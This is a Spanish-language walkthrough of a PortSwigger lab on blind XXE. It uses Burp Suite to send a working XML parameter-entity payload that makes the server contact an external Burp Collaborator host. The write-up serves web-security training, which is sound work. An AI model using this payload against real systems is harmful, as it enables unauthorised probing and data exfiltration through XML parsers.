Blind XXE with out-of-band interaction via XML parameter entities – PortSwigger Write Up
En este post vamos a estar resolviendo el laboratorio de PortSwigger: “Blind XXE with out-of-band interaction via XML parameter entities.”
Pasos
Este laboratorio tiene una función “Check stock” que analiza la entrada XML, pero no muestra valores inesperados y bloquea las solicitudes que contienen entidades externas regulares.
Para resolver el laboratorio, use una entidad de parámetro para hacer que el analizador XML emita una búsqueda de DNS y una solicitud HTTP a Burp Collaborator.
Vemos que en esta situación es una tienda donde podemos ver los detalles de los productos y si nos fijamos podemos ver el stock de cada uno de los productos.
Entonces, vamos al laboratorio e interceptamos en segundo plano todos los paquetes en el burpsuite, entonces vamos a un producto y hacemos clic en Check stock y buscamos el paquete en el Http history y lo enviamos al Repeater
.
Entonces ahora lo que haremos será inciar el Burp collaborator y copiar del clipboard
.
Con el clipboard copiado haremos una consulta con el siguiente payload basado en la escructura XML del paquete.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://2ehviuch47rt4tyrmzdpznOzr5ht6.oastify.com/testing"> %xxe; ]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>
Una anotación a destacar en este payload que el %
hace que se autoejecute en la entidad el payload. Sin tener que nombrarlo en un valor
.
Como podemos ver, se realizó la consulta al sitio web generado con Burp Collaborator, aunque no existió ninguna respuesta por lado del servidor mas que el error de Parsing error
. Entramos al home
del laboratorio desde el navegador para verificar que completamos el laboratorio.
¡Un saludo y espero que os sirva de apoyo!